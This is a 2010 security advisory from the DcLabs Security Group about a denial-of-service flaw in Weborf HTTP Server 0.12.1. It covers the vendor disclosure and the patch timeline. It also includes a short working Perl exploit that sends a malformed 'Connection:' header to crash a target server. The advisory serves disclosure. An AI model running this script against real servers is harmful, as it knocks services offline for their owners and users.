Weborf HTTP Server – Denial of Service
[DCA-0012] [Software] - Weborf HTTP Server [Vendor Product Description] - Weborf is a lightweight Web server written in C. It supports IPv6 and basic authentication. It doesn't implement the full HTTP specification, but can be used to easily share directories or files. [Bug Description] - Weborf HTTP Server can't handle unicode characters in "Connection: " general header-field leading to a Denial-of-Service flaw [History] - Advisory sent to vendor on 06/21/2010. - Vendor reply 06/22/2010. - Vendor patch published 06/23/2010 [Impact] - Low [Affected Version] -Weborf 0.12.1 - Prior versions may also be vulnerable. [Exploit] #!/usr/bin/perl use IO::Socket; if (@ARGV < 1) { usage(); } $ip = $ARGV[0]; $port = $ARGV[1]; print "[+] Sending request...\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n"; print $socket "GET / HTTP/1.0\r\n"; print $socket "Connection: ". "\0x99" x 4 ."\r\n\r\n"; close($socket); print "[+] Done!\n"; sub usage() { print "[-] Usage: <". $0 ."> <host> <port>\n"; print "[-] Example: ". $0 ." 127.0.0.1 80\n"; exit; } --------------------------------------------------------------------------------- ------- DcLabs Security Group Sponsor: ipax ipax@dclabs.com.br [Credits] Crash and all DcLabs members. |